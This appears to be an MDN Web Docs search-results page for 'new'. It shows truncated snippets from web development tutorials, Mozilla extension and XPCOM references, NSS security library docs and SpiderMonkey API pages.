new line, with space above and below. (the spacing is due to default css styling that the browser applies to paragraphs.) note: html5 redefined the element categories: see element content categories. while these definitions are more accurate and less ambiguous than their predecessors, the
new definitions are a lot more complicated to understand than block and inline. this article will stay with t...
...And 3 more matches
Choosing the right approach - Learn web development
cessary. useful for... ...
...a set interval of time between each execution. not as efficient as requestanimationframe(), but allows you to choose a running rate/frame rate. useful for... ...
...nless it is the same one) no code example the following function creates a
new date() object, extracts a time string out of it using tolocaletimestring(), and then displays it in the ui. we then run it once per second using setinterval(), creating the effect of a digital clock that updates once per second (see this live, and also see the source): function displaytime() { let date =
new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').textcontent = time; } const createclock = setinterval(displaytime, 1000); pitfalls the frame rate isn't optimized for the system the animation is running on, and can be somewhat inefficient. unless you need to choose a specific (slower) framerate, it is generally better to use requestanimationframe(). brows...
...And 3 more matches
Aprender y obtener ayuda - Learn web development
there are also are times when you'll get stuck and feel frustrated — even professional web developers feel like this regularly — and it pays to know about the most effective ways to try and get help so you can progress in your work. this article provides some hints and tips in both of these areas that will help you get more out of learning web development, as well as further reading so you can find out more information about each sub-topic should you wish.. effective learning let's move straight on and think about effective learning. ...
...better for studying, but in reality, both are very important. focused thinking is great for concentrating hard on specific subjects, getting into deep problem solving, and improving your mastery of the techniques required — strengthening the neural pathways in your brain where that information is stored. ...
...ortant. focused thinking is great for concentrating hard on specific subjects, getting into deep problem solving, and improving your mastery of the techniques required — strengthening the neural pathways in your brain where that information is stored. ...
...And 3 more matches
Learning area release notes - Learn web development
june 2020 our front-end web developer learning pathway is officially launched! check it out for an opinionated pathway to follow for learning front-end development! also see our hacks post — introducing the mdn web docs front-end developer learning pathway — for more information about the rationale behind it. may 2020 our understanding client-side javascript frameworks module is now available. ...
...ne (and when you shouldn't), what kinds of features are common to all frameworks, and how they relate to the vanilla javascript you may already know. once you have a general understanding of frameworks, move on to tutorial series covering popular frameworks like react, ember, and vue. our web forms learning module now has "test your skills" assessments accompanying the articles. april 2020 our
new understanding client-side web development tools module has been released! learn the essentials of web development tooling, including what kind of tools exist, the command line, package managers, and how to assemble your own functioning tool chain. march 2020 you'll now find "test your skills" assessments accompanying the articles in the following modules: css building blocks javascript firs...
...st steps javascript building blocks introducing javascript objects january 2020 the html forms module has been significantly updated: it has been retitled web forms, and moved out of the html topic area to recognise that it covers more than just html form elements — it also covers styling, validation, the basics of how to send data and process it on the server, and more besides. ...
...And 3 more matches
Client-Server Overview - Learn web development
ource (e.g. an html file, a particular data point on the server, or a tool to run). a method that defines the required action (for example, to get a file or to save or update some data). the different methods/verbs and their associated actions are listed below: get: get a specific resource (e.g. an html file containing information about a product, or a list of products). post: create a
new resource (e.g. add a
new article to a wiki, add a
new contact to a database). head: get the metadata information about a specific resource without getting the body like get would. you might for example use a head request to find out the last time a resource was updated, and then only use the (more "expensive") get request to download the resource if it has changed. put: update an existing...
... delete: delete the specified resource. trace, options, connect, patch: these verbs are for less common/advanced tasks, so we won't cover them here. additional information can be encoded with the request (for example, html form data). ...
...mark (?) separating the rest of the url from the url parameters, an equals sign (=) separating each name from its associated value, and an ampersand (&) separating each pair. url parameters are inherently "insecure" as they can be changed by users and then resubmitted. as a result url parameters/get requests are not used for requests that update data on the server. post data. post requests add
new resources, the data for which is encoded within the request body. client-side cookies. cookies contain session data about the client, including keys that the server can use to determine their login status and permissions/accesses to resources. web servers wait for client request messages, process them when they arrive, and reply to the web browser with an http response message. the resp...
...And 3 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
plement the following thre areas of functionality: a pending todo counter. filters for all, active, and completed todos. a button to clear the completed todos. because we need access to our service from the footer component, we need to generate a class for the footer. ...
...ter(), we declare that "incomplete" todos are ones that have iscompleted equal to false. next, add the following action underneath the existing add(text) action: @action clearcompleted() { this.todos = this.incomplete; } this is rather nice for clearing the todos — we just need to set the todos array to equal the list of incomplete todos. finally, we need to make use of this
new functionality in our footer.hbs template. go to this file now. first of all, replace this line: <strong>0</strong> todos left with this, which populates the incomplete number with the length of the incomplete array: <strong>{{this.todos.incomplete.length}}</strong> todos left next, replace this: <button type="button" class="clear-completed"> with this: <button type="...
...= 1}} todo {{else}} todos {{/if}} left this will give us an error, however — in ember, these simple if statements can currently only test for a truthy/falsy value, not a more complex expression such as a comparison. to fix this, we'll have to add a getter to todo-data.js to return the result of this.incomplete.length === 1, and then call that in our template. add the following
new getter to todo-data.js, just below the existing getters. note that here we need this.incomplete.length, not this.todos.incomplete.length, because we are doing this inside the service, where the incomplete() getter is available directly (in the template, the contents of the service has been made available as todos via the @service('todo-data') todos; line inside the footer class, hence it being th...
...And 3 more matches
Getting started with Svelte - Learn web development
nd have knowledge of the terminal/command line. svelte is a compiler that generates minimal and highly optimized javascript code from our sources; you'll need a terminal with node + npm installed to compile and build your app. objective: to setup a local svelte development environment, create and build a starter app, and understand the basics of how it works. svelte: a
new approach to building rich user interfaces svelte provides a different approach to building web apps than some of the other frameworks covered in this module. while frameworks like react and vue do the bulk of their work in the user's browser while the app is running, svelte shifts that work into a compile step that happens only when you build your app, producing highly-optimized vanilla javascri...
... max-width: none; } } </style> we are applying a style to our <h1> element. what will happen other components with <h1> elements in them? in svelte, css inside a component's <style> block will be scoped only to that component. this works by adding a class to selected elements, which is based on a hash of the component styles. you can see this in action by opening localhost:5000 in a
new browser tab, right/ctrl-clicking on the hello world! label, and choosing inspect: when compiling the app, svelte changes our h1 styles definition to h1.svelte-1tky8bj, and then modifies every <h1> element in our component to <h1 class="svelte-1tky8bj">, so that it picks up the styles as required. note: you can override this behavior and apply styles to a selector globally using the :global(.
...elte so that it reads like this: <h1>hello {name} from mdn!</h1> just save your changes and the app running at localhost:5000 will be automatically updated. a first look at svelte reactivity in the context of a ui framework, reactivity means that the framework can automatically update the dom when the state of any component is changed. in svelte, reactivity is triggered simply by assigning a
new value to any top level variable in a component. for example, we could include a togglename() function in our app component, and a button to run it. try updating your <script> and markup sections like so: <script> export let name; function togglename() { if (name === 'world') { name = 'svelte' } else { name = 'world' } } </script> <main> <h1>hello {name}!</h1> ...
...And 3 more matches
Focus management with Vue refs - Learn web development
perience for non-mouse users. specifically, when a user activates the "edit" button, we remove the "edit" button from the dom, but we don't move the user's focus anywhere, so in effect it just disappears. this can be disorienting for keyboard and non-visual users. to understand what's currently happening: reload your page, then press tab. you should see a focus outline on the input for adding
new to-do items. press tab again. the focus should move to the "add" button. hit it again, and it'll be on the first checkbox. one more time, and focus should be on the first "edit" button. activate the "edit" button by pressing enter. the checkbox will be replaced with our edit component, but the focus outline will be gone. this behavior can be jarring. in addition, what happens when you press ...
...tbutton); this.isediting = true; } if you activate the "edit" button at this point, you should see an html <button> element referenced in your console. vue's $nexttick() method we want to set focus on the "edit" button when a user saves or cancels their edit. to do that, we need to handle focus in the todoitem component’s itemedited() and editcancelled() methods. ...
...you'll notice that focus isn’t being set, so we still have a problem to solve. ...
...And 3 more matches
Understanding client-side JavaScript frameworks - Learn web development
g developers with tried and tested tools for building scalable, interactive web applications. many modern companies use frameworks as a standard part of their tooling, so many front-end development jobs now require framework experience. as an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to choose from,
new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks. in this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks. we are not aiming to exhaustively teach you everything you need to know about react/reactdom, or vue, or some...
...eady for development. 2. ember app structure and componentization in this article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components. 3. ember interactivity: events, classes and state at this point we'll start adding some interactivity to our app, providing the ability to add and display
new todo items. along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app. 4. ember interactivity: footer functionality, conditional rendering now it's time to start tackling the footer functionality in our app. here we'll get the todo counter to updat...
...1. if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. 1. getting started with vue now let's introduce vue, the third of our frameworks. in this article, we'll look at a little bit of vue background, learn how to install it and create a
new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example. 2. creating our first vue component now it's time to dive deeper into vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list. along the way, we'll learn a...
...And 3 more matches
Command line crash course - Learn web development
s an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools. prerequisites: familiarity with the core html, css, and javascript languages. objective: to understand what the terminal/command line is, what basic commands you should learn, and how to install
new command line tools. welcome to the terminal the terminal is a text interface for executing text-based programs. if you're running any tooling for web development there's a near-guaranteed chance that you'll have to pop open the command line and run some commands to use your chosen tools (you'll often see such tools referred to as cli tools — command line interface tools). a large numbe...
...ity commands that you’ll probably end up using quite a lot as you work with the terminal. they are pretty simple, so we won’t explain them all in quite as much detail as the previous couple. have a play with them in a test directory you’ve created somewhere so that you don’t accidentally delete anything important, using the example commands below for guidance: mkdir — this creates a
new directory inside the current directory you are in, with the name you provide after the command name. for example, mkdir my-awesome-website will make a
new directory called my-awesome-website. rmdir — removes the named directory, but only if it’s empty. for example rmdir my-awesome-website will remove the directory we created above. if you want to remove a directory that is not empty (and als...
...irectory, but only if it’s empty. for example rmdir my-awesome-website will remove the directory we created above. if you want to remove a directory that is not empty (and also remove everything it contains), then you can use the -r option (recursive), but this is dangerous. make sure there is nothing you might need inside the directory later on, as it will be gone forever. touch — creates a
new empty file, inside the current directory. for example, touch mdn-example.md creates a
new empty file called mdn-example.md. mv — moves a file from the first specified file location to the second specified file location, for example mv mdn-example.md mdn-example.txt (the locations are written as file paths). this command moves a file called mdn-example.md in the current directory to a file call...
...And 3 more matches
Testopia
testopia a fully self-contained extension, which means that all tr_*.cgi scripts which are currently in the bugzilla/ root directory are being moved into extensions/testopia/lib/. this is not an trivial task, it takes time (it started in august 2014), and we decided that it was not a good idea to release half-baked code which still needs testing to make sure we didn't regress anything. the good
news is that the current code in the git repository already works with bugzilla 5.0, and so if you upgraded to 5.0 already, and if you don't mind having a work-in-progress extension on your machine, you can decide to pull the code from the git repository. this would also let us get some early feedback in case you find regressions. if you find bugs in the code available from the git repository, pleas...
...o let us get some early feedback in case you find regressions. if you find bugs in the code available from the git repository, please report it to us so that we can fix most critical ones on time for testopia 3.0. do not ask when we plan to release 3.0, because we really don't know. "as soon as possible" is our best answer. testopia 2.5 this versions supports bugzilla 4.2 and 4.4, and the best
news is that it no longer requires a patch for bugzilla. if you are upgrading, please reverse the existing version's patch before installing. a fresh install only requires that you untar the tarball in your bugzilla root directory and run checksetup. thanks go to lpsolit from the bugzilla team for his work in making this possible. testopia 2.4 this version supports bugzilla 3.6. important notice: ...
...tory and run checksetup. thanks go to lpsolit from the bugzilla team for his work in making this possible. testopia 2.4 this version supports bugzilla 3.6. important notice: if you are upgrading on a case sensitive filesystem you must remove the existing testopia folder in the extensions directory. if you have made modifications to the testopia source code, you will need to merge them into the
new testopia folder (capital t). if you are on windows or another case insensitive file system you should first rename the folder (testopia-old for example) and then unzip the tarball. you can then merge your changes before deleting the old version. api users take note: positional parameters are now deprecated. all params should now be sent in a hash (struct, dict, hashmap or whatever your language ...
...And 3 more matches
How to implement a custom autocomplete search component
the xul textbox element supports an autocomplete mechanism that is used to create a textbox with a popup containing a list of possible completions for what the user has started to type. there are actually two autocomplete mechanisms: an older mechanism that is part of the "xpfe" codebase and is used in older applications such as thunderbird and seamonkey. a
newer and slightly simplified mechanism that is used in "toolkit" applications such as firefox and xulrunner. thunderbird 2.x and seamonkey 1.1.x support the toolkit interfaces, although they do not use the same autocomplete widget. to use autocomplete with a xul textbox, all you need to do is set some attributes: <textbox type="autocomplete" autocompletesearch="history"/> the type="autocomplete" turns on the autocomplete mec...
...sult * * @param searchstring the string to search for * @param searchparam an extra parameter * @param previousresult a previous result to use for faster searchinig * @param listener the listener to notify when the search is complete */ startsearch: function(searchstring, searchparam, previousresult, listener) { var results = ['mary', 'john']; var autocomplete_result =
new providerautocompleteresult(searchstring, ci.nsiautocompleteresult.result_success, 0, "", results, null); listener.onsearchresult(this, autocomplete_result); }, /** * stops an asynchronous search that is in progress */ stopsearch: function() { }, queryinterface: xpcomutils.generateqi([ ci.nsiautocompletesearch ]) }; // the following line is what xpcom uses to create...
...getfactory = xpcomutils.generatensgetfactory([ providerautocompletesearch ]); then register your xpcom component. ...
...And 3 more matches
AddonManager
. error_corrupt_file the file appears to be corrupt. error_file_access there was an error accessing the filesystem. error_signedstate_required the addon must be signed and isn't. update check reasons constant description update_when_user_requested an update check performed at the explicit request of the user. update_when_
new_app_detected an update check performed when a
new version of the application has been detected. update_when_
new_app_installed an update check performed after a
new version of the application has been installed. update_when_periodic_update an update check performed automatically in the background. update_when_addon_installed an update check performed when a n...
...from the ui if no add-ons of that type are currently installed. startup change types these constants represent the lists of types of changes that can occur to add-ons during startup; they're used with the getstartupchanges(), addstartupchange(), and removestartupchange() methods. constant description startup_change_installed a list of add-ons that were detected as
newly-installed during application startup. this doesn't include add-ons that were awaiting installation the last time the application was running. startup_change_changed a list of add-ons that were detected as having changed during startup. this includes an add-on being moved to a
new location, changing version, or having been detected as possibly altered. startup_change_uninsta...
...sn't include add-ons that were pending becoming enabled the last time the application was running. methods addstartupchange() adds an add-on change from the add-on changes list. this is used to build the lists of changed add-ons reported by the getstartupchanges() method. note: calling this method more than once for the same add-on will replace the last change that was recorded with the
new one; an add-on can only appear once across all change types. void addstartupchange( in string changetype, in string id ); parameters changetype the type of change that occurred for the specified add-on. this can be one of the startup change types or a custom value defined by your own provider. id the add-on id to add to the change list. removestartupchange() removes an add-on from...
...And 3 more matches
InstallListener
installlisteners are notified of an addoninstall's progress. they may be registered to hear events from all addoninstalls through addinstalllistener or to a single addoninstall through addlistener. ...
...only called for add-ons that need to be downloaded. a listener may return f...
...only called for add-ons that need to be downloaded. a listener may return false to cancel the download.
...And 3 more matches
NetUtil.jsm
tilities, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/netutil.jsm"); once you've imported the module, you can then use its methods. method overview nsiasyncstreamcopier asynccopy(nsiinputstream asource, nsioutputstream asink, [optional] acallback) void asyncfetch(asource, acallback) nsichannel
newchannel(awhattoload, [optional] aorigincharset, [optional] nsiuri abaseuri) nsiuri
newuri(atarget, [optional] aorigincharset, [optional] nsiuri abaseuri) string readinputstreamtostring(ainputstream, acount, aoptions) attributes attribute type description ioservice nsiioservice returns a reference to nsiioservice. methods asynccopy() ...
...ch(channel, function(ainputstream, aresult) { // check that we had success. if (!components.issuccesscode(aresult)) { // handle error return; } // consume the input stream. }); remarks note: if you specify an nsichannel as the input source, and its notification callbacks have already been set, callers are responsible for implementing nsibadcertlistener and nsisslerrorlistener.
newchannel() creates a
new channel for the specified uri string, nsiuri, or nsifile. nsichannel
newchannel( awhattoload, [optional] aorigincharset, [optional] abaseuri ); parameters return value an nsichannel allowing access to the specified data source. awhattoload a string specifying a uri, or an nsiuri or nsifile object. the returned method will allow access to the specified data. ...
... a string specifying a uri, or an nsiuri or nsifile object. the returned method will allow access to the specified data. aorigincharset the optional character set to use when interpreting awhattoload as a string; this is ignored if awhattoload is not a string. defaults to utf-8 if not provided. abaseuri the base uri for the spec, specified as an nsiuri. only used if awhattoload is a string. ...
...And 3 more matches
Deferred
a deferred object is returned by the obsolete promise.defer() method to provide a
new promise along with methods to change its state. starting from gecko 30, this object is obsolete and should not be used anymore. use the
new promise() constructor instead (or use the above backwards/forwards compatible deferred function given below). ...
... this object is obsolete and should not be used anymore. use the
new promise() constructor instead (or use the above backwards/forwards compatible deferred function given below). ...
... methods resolve() fulfills the associated promise with the specified value, or propagates the state of an existing promise. if the associated promise has already been resolved, either to a value, a rejection, or another promise, this method does nothing. ...
...And 3 more matches
Localizing with Mozilla Translator
a applications. since it is written in java, any platform that supports java 1.7 or above supports mozillatranslator also. if you decide to use mozillatranslator, be sure you have java 1.7 or above installed on your system. like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work from previous translations, thus cutting time and effort when localizing
new versions of mozilla applications. getting started with mozillatranslator mt uses products as groups of localization files with a common root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt. this will remove obs...
... as groups of localization files with a common root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt. this will remove obsolete strings and files from the internal database of mt, and will present you with a list of
new and updated strings. if you are starting a
new localization, all strings will be marked as
new or updated.mt puts a fuzzy flag on each flag and saves it in its database. all this means is that the strings have yet to be translated. you can save your work in progress and reopen it to continue working by selecting view fuzzy from the edit menu. after translating those strings (if using the edit p...
... is ''link'' point, usually at chrome (in cvs & mozilla-central), sometimes in a deeper point. for instance, '''toolkit/locales/chrome''' in mozilla-central matches '''locale/en-us''' and '''browser/locales/chrome''' matches '''locale/browser'''. so, what you have to do is export partial glossaries in each link point of the ''old'' product and import them in the corresponding link point of the ''
new'' point. your keep original and fuzzy flags will be honored for each string. there will be some exceptions. files hanging directly from the platform neutral platform can't be part of a partial glossary (because they are not components), and platform neutral itself can't be selected either, since it is not a component, but a platform. for these few files, you will have to export them individually...
...And 3 more matches
Initial setup
as a pre-requisite to contributing to the l10n program, you need to have access to code, tools, and a properly configured local environment (i.e., your personal computer). you also need to determine if a localization effort already exists for your locale. here we'll go over the accounts you need as well as the tools and their configurations you need to set up before contributing.
new or existing before anything else, you need to know if you will be creating a
new localization or joining an existing one. this will determine what information is most applicable to you throughout the rest of this guide. here's what you do: look through the existing localization community directory to see if one already exists for your locale. if a community already exists, reach out to them and ask...
... accounts there are a handful of accounts that you need to be aware of as you begin. they're not required for you to begin contributing, but will be required when you are preparing to produce an official release. for now, simply be aware that these will become important as your efforts progress. ...
...tion or joining an existing one. this will determine what information is most applicable to you throughout the rest of this guide. here's what you do: look through the existing localization community directory to see if one already exists for your locale. if a community already exists, reach out to them and ask how you can help. if a community doesn't exist, send an email to the
new-locales
newsgroup for additional guidance. accounts there are a handful of accounts that you need to be aware of as you begin. they're not required for you to begin contributing, but will be required when you are preparing to produce an official release. for now, simply be aware that these will become important as your efforts progress. these accounts will store your code, contributions, and help you prod...
...And 3 more matches
NSS 3.45 release notes
introduction the nss team has released network security services (nss) 3.45 on 5 july 2019, which is a minor release. the nss team would like to recognize first-time contributors: bastien abadie christopher patton jeremie courreges-anglas marcus burghardt michael shigorin tomas mraz distribution information the hg tag is nss_3_45_rtm. nss 3.45 requires nspr 4.21 or
newer. ...
...ourreges-anglas marcus burghardt michael shigorin tomas mraz distribution information the hg tag is nss_3_45_rtm. nss 3.45 requires nspr 4.21 or
newer. nss 3.45 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_45_rtm/src/ other releases are available in nss releases.
new in nss 3.45
new functionality
new functions in pk11pub.h: pk11_findrawcertswithsubject - finds all certificates on the given slot with the given subject distinguished name and returns them as der bytes. if no such certificates can be found, returns secsuccess and sets *results to null. if a failure is encountered while fetching any of the matching certificates, secfailure is returned ...
...n subject distinguished name and returns them as der bytes. if no such certificates can be found, returns secsuccess and sets *results to null. if a failure is encountered while fetching any of the matching certificates, secfailure is returned and *results will be null. notable changes in nss 3.45 bug 1540403 - implement delegated credentials (draft-ietf-tls-subcerts) this adds a
new experimental function: ssl_delegatecredential note: in 3.45, selfserv does not yet support delegated credentials. see bug 1548360. note: in 3.45 the sslchannelinfo is left unmodified, while an upcoming change in 3.46 will set sslchannelinfo.authkeybits to that of the delegated credential for better policy enforcement. see bug 1563078. bug 1550579 - replace arm32 curve25519 implementat...
...And 3 more matches
NSS API Guidelines
some of the guidelines in this document, are more forward-looking than documentary. these rules are here to help us all immediately achieve more consistent and usable code, but some existing code won't follow all these rules. nss api structure this section explains the structure and relationships of the nss libraries. ...
... some of the guidelines in this document, are more forward-looking than documentary. these rules are here to help us all immediately achieve more consistent and usable code, but some existing code won't follow all these rules. nss api structure this section explains the structure and relationships of the nss libraries. ...
... cvs id each file should include a cvs id string for identification. the preferred format is: "@(#) $rcsfile: nss-guidelines.html, v $ $revision: 48936 $ $date: 2009-08-11 07:45:57 -0700 (tue, 11 aug 2009) $ $name$" you can put the string in a comment or in a static char array. use #ifdef debug to include the array in debug builds only.
...And 3 more matches
PKCS11 FAQ
one session at a time? read-only sessions, read/write sessions, serial, parallel? nss typically holds one session read-only session per slot, in which some of the non-multipart functions are handled. multipart functions, such as bulk encryption, hashing, and mac functions (for example, c_digest and c_sign) and those that require overlapped operation (c_unwrap, c_decrypt) are handled by creating
new sessions. if no
new sessions are available, the one read-only session is used, and the state is saved and restored after each multipart operation. nss never uses parallel mode. nss opens
new read/write sessions for key generation, some password management, and storage of
new certificates. if your token is read/write and has only one session, nss will open that one initial session read/write. ...
...l softokn3 (softokn3.dll on windows, libsoftokn3.so on most unix platforms). the nss softokn3 is not a complete pkcs #11 module, it was implemented only to support nss, though other products have managed to get it to work in their environment. there are a number of bugs against softoken's non-compliance, but these bugs have lower priority than fixing nss's non-complient uses of pkcs #11 or adding
new features to nss. if multiple pkcs #11 modules are loaded, how does nss determine which ones to use for the mechanisms required by ssl? nss uses the first slot it finds that can perform all the required operations. on servers, it's almost always the slot that contains the server's private key. does nss support the use of pkcs #11 callbacks specified in the pnotify and papplication parameters fo...
...token (so keys don't get moved around). symmetric operations supported by nss include the following: ckm_aes_xxx, ckm_des3_xxx, ckm_des_xxx, ckm_rc2_xxx, and ckm_rc4_xxx. nss knows about all the mechanisms defined in pkcs #11 version 2.01, but will not perform those that aren't defined by nss's policy mechanism. when do nss applications spawn threads off the main thread, which in turn opens up a
new pkcs #11 session? this depends on the application. pkcs #11 sessions are cryptographic session states, independent of threads. in nss based servers, multiple threads may call the same session, but two threads will not call the same session at the same time. questions about keys and tokens is the pkcs #11 token treated in a read-only manner? that is, no token init, no key gens, no data puts, no...
...And 3 more matches
FC_SetPIN
description fc_setpin modifies the pin of the user. ...
... description fc_setpin modifies the pin of the user. ...
... description fc_setpin modifies the pin of the user. ...
...And 3 more matches
NSS tools : signtool
rk. to avoid problems, escape the quotation mark using the escape conventions for your platform. it's also possible to use the -k option without signing any files or specifying a directory. for example, you can use it with the -l option to get detailed information about a particular signing certificate. -g nickname generates a
new private-public key pair and corresponding object-signing certificate with the given nickname. the
newly generated keys and certificate are installed into the key and certificate databases in the directory specified by the -d option. with the nt version of netscape signing tool, you must use the -d option with the -g option. with the unix vers...
.... the value may include = signs; only the first = sign on a line is interpreted. blank lines are ignored, but white space on a line with keywords and values is assumed to be part of the keyword (if it comes before the equal sign) or part of the value (if it comes after the first equal sign). keywords are case insensitive, values are generally case sensitive. since the = sign and
newline delimit the value, it should not be quoted. subsection basename same as -b option. compression same as -c option. certdir same as -d option. extension same as -e option. generate same as -g option. installscript same as -i option. javascriptdir same as -j option. htmldir ...
...with the nt version of netscape signing tool, you must use the -d option with the -g option. with the unix version of netscape signing tool, om...
...And 3 more matches
Introduction to the JavaScript shell
the standard, web-compatible javascript version is used by default (and not js1.7+ anymore). the version() shell builtin is still there for testing legacy features. running the javascript shell the shell offers two modes of operation. you can use it as an interactive shell, in which you type javascript code at a prompt and get instant gratification, which is handy for experimenting or testing
new features. you can also pass in, on the command line, a javascript program file to run, in which case the program is run automatically. after following the build documentation and installing the built shell using make install, you can run the shell in interactive mode using the command: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g. from a bash con...
...this list is incomplete and overlaps with shell global objects. see js/src/shell/js.cpp (around shell_functions) for more. build() returns the date and time at which the javascript shell was built. note: clear() with no parameters really clears everything. this includes all these built-in functions. clone(function, [scope]) clones the specified function object. if scope isn't specified, the
new object's parent is the same as the original object's. otherwise, the
new object is placed in the scope of the object specified by scope. countheap([start[, kind]]) added in spidermonkey 1.8 count the number of live gc things in the heap, or things reachable from start when it is given and is not null. kind is either 'all' (default) to count all things or one of 'object', 'double', 'string', 'fu...
...idermonkey 1.8 dump the graph of all existing objects (or a specific interesting subgraph) to a file. for more information, see the c/c++ version of this function, js_dumpheap. evalcx(string[, object]) evaluates the javascript code in string. if object is specified, the code is executed in that object, treating it as a sandbox. if string is empty and object is not specified, evalcx() returns a
new object with eager standard classes. if string is "lazy" and object is not specified, evalcx() returns a
new object with lazy standard classes. note: evalcx() is only useful for people doing deep internal work on the javascript engine, for testing evalinsandbox-like environments in the shell. gc() runs the garbage collector to free up memory. gcparam(name[, value]) added in spidermonkey 1.8 ...
...And 3 more matches
JS_DefineFunction
scontext. obj js::handle<jsobject*> object for which to define a function as a property (method). name const char * or const char16_t * name to assign to the function. id js::handle<jsid> a pointer to jsid for name to assign to the function. ...
...o the function. added in spidermonkey 17 call jsnative the native c/c++ function to be wrapped by the
new function. nargs unsigned number of arguments that are passed to the function when it is called. flags unsigned the logical or of zero or more property attributes. description js_definefunction exposes a c/c++ function to scripts by defining a
new method on an existing javascript object. it creates the
new function object as though by calling js_
newfunction, then makes it a method of obj as though by calling js_defineproperty. js_defineucfunction is the unicode version of the function. name is the name of the property to create in obj. that is, it is the method name that scripts can use to call the
new function. it also becomes the name pr...
...existing javascript object. it creates the
new function object as though by calling js_
newfunction, then makes it a method of obj as though by calling js_defineproperty. js_defineucfunction is the unicode version of the function. name is the name of the property to create in obj. that is, it is the method name that scripts can use to call the
new function. it also becomes the name property of the
new function object and can be accessed using js_getfunctionid. call is a pointer to the c/c++ function that is to be exposed to javascript. nargs indicates the number of arguments the function expects to receive. this becomes the
new function object's length property and can be accessed using js_getfunctionarity. ...
...And 3 more matches
JS_InternString
s in characters. description js_internstring and js_internstringn return an interned javascript string with a specified value, s. js_internucstring and js_internucstringn are the unicode versions of the function. each jsruntime keeps a table of all existing interned strings. if an interned string already exists with the desired value, these functions return the existing string. otherwise a
new string is created and added to the table. strings created with these functions are protected from garbage collection for the lifetime of the jsruntime. on success, these functions return a pointer to the interned string. otherwise they report an error and return null. see also mxr id search for js_internstring mxr id search for js_internstringn mxr id search for js_internucstring mxr id search f...
...s created with these functions are protected from garbage collection for the lifetime of the jsruntime. ...
...se functions are protected from garbage collection for the lifetime of the jsruntime. ...
...And 3 more matches
SpiderMonkey 24
pleased to announce the release of spidermonkey 24. you can download full source code here: https://ftp.mozilla.org/pub/mozilla.org/js/mozjs-24.2.0.tar.bz2 (sha1: ce779081cc11bd0c871c6f303fc4a0091cf4fe66) spidermonkey 24 is the javascript engine that shipped in firefox 24. it continues to improve performance over previous spidermonkey releases, with a significantly improved garbage collector, a
new jit compilation mode, and other features. it also contains
new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. — dec 16, 2013 the download url still available, but spidermonkey not r...
...ost significant changes. many of the garbage collector changes require type signature changes to jsapi methods: specifically introducing js::rooted, js::handle, and js::mutablehandle types. these types, with the appropriate parametrizations, can roughly be substituted for plain types of gc things (values, string/object pointers, etc.). these and other changes are explained in detail below.
new javascript language features javascript 24 includes significant updates to language features, yo. typedef changes the fixed-size integer types introduced in spidermonkey 17 are defined in one of the following ways (xxx update for msvc<10 deprecation): if the environment variable moz_custom_stdint_h is set, that file will be included to provide definitions for these types. the file must con...
...mplementation needed for older versions of visual studio. in the long run we anticipate removing the environment variable-based overriding when we drop support for versions of visual studio prior to 2010. in the meantime moz_custom_stdint_h is intended to function as a bridge to always using the standard header. for more information on the fixed-size integer types changes, see this blog post. ...
...And 3 more matches
Embedded Dialog API
posing gecko dialogs in embedding applications problem statement an application embedding gecko cannot tightly control its own windows and still allow gecko to be a fully functional web browser. in any single window, gecko can be expected to play nicely within its given boundaries. but it must be allowed to create additional windows at times perhaps unexpected by the containing appliction. these
new windows can be entire
new browser windows opened in response to web page script, or dialogs or alerts which may arise from script or merely during normal operation of the browser. part of gecko's embedding api is callbacks into the embedding application for creating
new windows. the complete windowing portion of the api is large and complex, but it need not be entirely implemented. its simplest r...
...gecko can use the latter to pose dialogs built from xul. ...
...gecko can use the latter to pose dialogs built from xul. xul dialogs are part of the gecko package; they are the default dialog posing mechanism. ...
...And 3 more matches
Starting WebLock
e has methods for registering and unregistering an nsiobserver object. these two methods are used to dynamically add or remove an observer to a notification topic. but weblock needs to be instantiated and added to the observer service automatically, which also implies some sort of persistent data (after all, we want to have the component start up every time the application does). this is where a
new service that manages sets of related data comes in handy. this service, the nsicategoryservice, is what xpcom and gecko embedding applications use to persist lists of nsiobserver components that want to have startup notification. the nsicategoryservice maintains sets of name-value pairs like the one below. the category manager every category is identified by a string that represents the name...
...urn -1; most of the useful functionality is exposed by the nsiproperties interface, but the directory service also implements nsidirectoryservice. this interface allows you to extend and override nsifile objects registered with the directory service. there are currently two ways to add a file location to the directory service: directly and using the delayed method. the direct method is to add a
new nsifile object using the nsiproperties interface, in which case you pass the nsifile object as an nsisupports to the set() method of the nsiproperties interface. in the delayed method, you register to be a callback that can provide an nsifile. to do this, you must get the implementation like we did above. when you have it, queryinterface for the nsidirectoryservice interface. in this interface, ...
...v = localfile->openansifiledesc("rw", &openfile); if (ns_failed(rv)) return -1; char *buf = (char *)malloc((fs+1) * sizeof(char)); if (!buf) return -1; numread = fread(buf, sizeof(char), fs, openfile); if (numread != fs) // do something useful. // ... } if (buf) free(buf); the first line of the code calls queryinterface on thefile, and if that succeeds assigns the
new interface pointer to localfile. if the queryinterface call fails, localfile will have a value of null. note that the out parameter of the method getfilesize is a 64-bit integer. the type of this variable is print64, but this type is not represented as a primitive on all platforms. on some platforms, print64 is a struct with two fields - a high and a low 32-bit integer. so operations on this typ...
...And 3 more matches
